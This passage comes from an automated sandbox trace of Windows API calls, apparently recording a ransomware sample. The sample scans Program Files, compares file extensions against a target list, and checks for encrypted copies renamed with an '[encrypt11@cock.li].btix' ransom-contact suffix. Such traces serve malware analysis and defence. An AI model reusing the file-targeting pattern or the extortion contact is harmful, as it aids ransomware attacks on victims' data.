(lpString=".xlsx") returned 5 [0066.336] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0066.336] lstrlenW (lpString=".ppt") returned 4 [0066.336] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.336] lstrlenW (lpString=".zip") returned 4 [0066.336] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0066.336] lstrlenW (lpString=".rar") returned 4 [0066.336] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0066.336] lstrlenW (lpString=".bz2") returned 4 [0066.336] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0066.336] lstrlenW (lpString=".7z") returned 3 [0066.336] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.336] lstrlenW (lpString=".dbf") returned 4 [0066.336] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.336] lstrlenW (lpString=".1cd") returned 4 [0066.336] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0066.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned 59 [0066.336] lstrlenW (lpString=".jpg") returned 4 [0066.336] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0066.337] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0066.337] lstrlenW (lpString="msdaprsr.dll.mui") returned 16 [0066.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0067.793] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=7680) returned 1 [0067.793] CloseHandle (hObject=0x328) returned 1 [0067.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0067.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0067.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.794] lstrlenW (lpString=".doc") returned 4 [0067.794] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0067.794] lstrlenW (lpString=".docx") returned 5 [0067.794] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0067.794] lstrlenW (lpString=".pdf") returned 4 [0067.794] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0067.794] lstrlenW (lpString=".xls") returned 4 [0067.794] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0067.794] lstrlenW (lpString=".xlsx") returned 5 [0067.794] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0067.794] lstrlenW (lpString=".ppt") returned 4 [0067.794] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0067.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.794] lstrlenW (lpString=".zip") returned 4 [0067.794] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0067.794] lstrlenW (lpString=".rar") returned 4 [0067.794] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0067.794] lstrlenW (lpString=".bz2") returned 4 [0067.794] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0067.795] lstrlenW (lpString=".7z") returned 3 [0067.795] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0067.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.795] lstrlenW (lpString=".dbf") returned 4 [0067.795] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0067.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.795] lstrlenW (lpString=".1cd") returned 4 [0067.795] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0067.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.795] lstrlenW (lpString=".jpg") returned 4 [0067.795] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0067.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.795] lstrlenW (lpString=".doc") returned 4 [0067.795] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0067.795] lstrlenW (lpString=".docx") returned 5 [0067.795] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0067.795] lstrlenW (lpString=".pdf") returned 4 [0067.795] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0067.795] lstrlenW (lpString=".xls") returned 4 [0067.795] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0067.795] lstrlenW (lpString=".xlsx") returned 5 [0067.795] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0067.795] lstrlenW (lpString=".ppt") returned 4 [0067.795] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0067.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.795] lstrlenW (lpString=".zip") returned 4 [0067.795] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0067.795] lstrlenW (lpString=".rar") returned 4 [0067.795] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0067.795] lstrlenW (lpString=".bz2") returned 4 [0067.795] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0067.795] lstrlenW (lpString=".7z") returned 3 [0067.795] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0067.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.796] lstrlenW (lpString=".dbf") returned 4 [0067.796] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0067.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.796] lstrlenW (lpString=".1cd") returned 4 [0067.796] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0067.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui") returned 65 [0067.796] lstrlenW (lpString=".jpg") returned 4 [0067.796] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0067.796] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0067.796] lstrlenW (lpString="msdaprsr.dll") returned 12 [0067.796] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0068.705] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=2560) returned 1 [0068.705] CloseHandle (hObject=0x358) returned 1 [0068.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0068.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0068.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.705] lstrlenW (lpString=".doc") returned 4 [0068.705] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.705] lstrlenW (lpString=".docx") returned 5 [0068.705] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0068.705] lstrlenW (lpString=".pdf") returned 4 [0068.705] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.705] lstrlenW (lpString=".xls") returned 4 [0068.705] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.705] lstrlenW (lpString=".xlsx") returned 5 [0068.705] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0068.705] lstrlenW (lpString=".ppt") returned 4 [0068.705] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.705] lstrlenW (lpString=".zip") returned 4 [0068.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString=".rar") returned 4 [0068.706] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString=".bz2") returned 4 [0068.706] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.706] lstrlenW (lpString=".7z") returned 3 [0068.706] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.706] lstrlenW (lpString=".dbf") returned 4 [0068.706] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.706] lstrlenW (lpString=".1cd") returned 4 [0068.706] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.706] lstrlenW (lpString=".jpg") returned 4 [0068.706] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.706] lstrlenW (lpString=".doc") returned 4 [0068.706] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString=".docx") returned 5 [0068.706] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0068.706] lstrlenW (lpString=".pdf") returned 4 [0068.706] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString=".xls") returned 4 [0068.706] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString=".xlsx") returned 5 [0068.706] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0068.706] lstrlenW (lpString=".ppt") returned 4 [0068.706] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.706] lstrlenW (lpString=".zip") returned 4 [0068.706] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString=".rar") returned 4 [0068.706] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.706] lstrlenW (lpString=".bz2") returned 4 [0068.707] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.707] lstrlenW (lpString=".7z") returned 3 [0068.707] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.707] lstrlenW (lpString=".dbf") returned 4 [0068.707] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.707] lstrlenW (lpString=".1cd") returned 4 [0068.707] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll") returned 55 [0068.707] lstrlenW (lpString=".jpg") returned 4 [0068.707] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.707] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0068.707] lstrlenW (lpString="sqlxmlx.rll.mui") returned 15 [0068.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0070.082] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=18432) returned 1 [0070.082] CloseHandle (hObject=0x36c) returned 1 [0070.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0070.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0070.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0070.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.604] lstrlenW (lpString=".doc") returned 4 [0070.604] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0070.604] lstrlenW (lpString=".docx") returned 5 [0070.604] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0070.604] lstrlenW (lpString=".pdf") returned 4 [0070.604] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0070.604] lstrlenW (lpString=".xls") returned 4 [0070.604] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0070.604] lstrlenW (lpString=".xlsx") returned 5 [0070.604] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0070.604] lstrlenW (lpString=".ppt") returned 4 [0070.604] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0070.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.604] lstrlenW (lpString=".zip") returned 4 [0070.604] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0070.604] lstrlenW (lpString=".rar") returned 4 [0070.605] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0070.605] lstrlenW (lpString=".bz2") returned 4 [0070.605] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0070.605] lstrlenW (lpString=".7z") returned 3 [0070.605] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0070.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.605] lstrlenW (lpString=".dbf") returned 4 [0070.605] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0070.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.605] lstrlenW (lpString=".1cd") returned 4 [0070.605] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0070.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.605] lstrlenW (lpString=".jpg") returned 4 [0070.605] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0070.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.605] lstrlenW (lpString=".doc") returned 4 [0070.605] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0070.605] lstrlenW (lpString=".docx") returned 5 [0070.605] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0070.605] lstrlenW (lpString=".pdf") returned 4 [0070.605] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0070.605] lstrlenW (lpString=".xls") returned 4 [0070.605] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0070.605] lstrlenW (lpString=".xlsx") returned 5 [0070.605] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0070.605] lstrlenW (lpString=".ppt") returned 4 [0070.605] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0070.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.605] lstrlenW (lpString=".zip") returned 4 [0070.605] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0070.606] lstrlenW (lpString=".rar") returned 4 [0070.606] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0070.606] lstrlenW (lpString=".bz2") returned 4 [0070.606] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0070.606] lstrlenW (lpString=".7z") returned 3 [0070.606] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0070.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.606] lstrlenW (lpString=".dbf") returned 4 [0070.606] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0070.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.606] lstrlenW (lpString=".1cd") returned 4 [0070.606] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0070.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned 65 [0070.606] lstrlenW (lpString=".jpg") returned 4 [0070.615] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0070.615] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0070.615] lstrlenW (lpString="oledb32r.dll") returned 12 [0070.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0070.626] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=77824) returned 1 [0070.626] CloseHandle (hObject=0x36c) returned 1 [0070.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0070.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0070.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0070.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.626] lstrlenW (lpString=".doc") returned 4 [0070.626] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.626] lstrlenW (lpString=".docx") returned 5 [0070.626] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0070.626] lstrlenW (lpString=".pdf") returned 4 [0070.627] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.627] lstrlenW (lpString=".xls") returned 4 [0070.627] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.627] lstrlenW (lpString=".xlsx") returned 5 [0070.627] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0070.627] lstrlenW (lpString=".ppt") returned 4 [0070.627] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.627] lstrlenW (lpString=".zip") returned 4 [0070.627] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.627] lstrlenW (lpString=".rar") returned 4 [0070.627] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.627] lstrlenW (lpString=".bz2") returned 4 [0070.627] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.627] lstrlenW (lpString=".7z") returned 3 [0070.627] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.627] lstrlenW (lpString=".dbf") returned 4 [0070.627] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.627] lstrlenW (lpString=".1cd") returned 4 [0070.627] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.627] lstrlenW (lpString=".jpg") returned 4 [0070.627] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.627] lstrlenW (lpString=".doc") returned 4 [0070.627] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.627] lstrlenW (lpString=".docx") returned 5 [0070.627] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0070.627] lstrlenW (lpString=".pdf") returned 4 [0070.627] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.627] lstrlenW (lpString=".xls") returned 4 [0070.627] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.628] lstrlenW (lpString=".xlsx") returned 5 [0070.628] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0070.628] lstrlenW (lpString=".ppt") returned 4 [0070.628] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.628] lstrlenW (lpString=".zip") returned 4 [0070.628] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0070.628] lstrlenW (lpString=".rar") returned 4 [0070.628] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0070.628] lstrlenW (lpString=".bz2") returned 4 [0070.628] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0070.628] lstrlenW (lpString=".7z") returned 3 [0070.628] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.628] lstrlenW (lpString=".dbf") returned 4 [0070.628] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.628] lstrlenW (lpString=".1cd") returned 4 [0070.628] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0070.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll") returned 56 [0070.628] lstrlenW (lpString=".jpg") returned 4 [0070.628] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0070.628] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0070.628] lstrlenW (lpString="hmmapi.dll") returned 10 [0070.628] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0070.745] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=54272) returned 1 [0070.746] CloseHandle (hObject=0x38c) returned 1 [0070.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0070.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0070.847] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0070.847] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.847] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\hmmapi.dll") returned 45 [0070.854] lstrlenW (lpString=".doc") returned 4 [0070.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.854] lstrlenW (lpString=".docx") returned 5 [0070.854] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0070.854] lstrlenW (lpString=".pdf") returned 4 [0070.854] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0070.854] lstrlenW (lpString=".xls") returned 4 [0070.854] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0070.854] lstrlenW (lpString=".xlsx") returned 5 [0070.854] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0070.854] lstrlenW (lpString=".ppt") returned 4 [0070.854] lstrcmpiW (lpString1=".ppt", 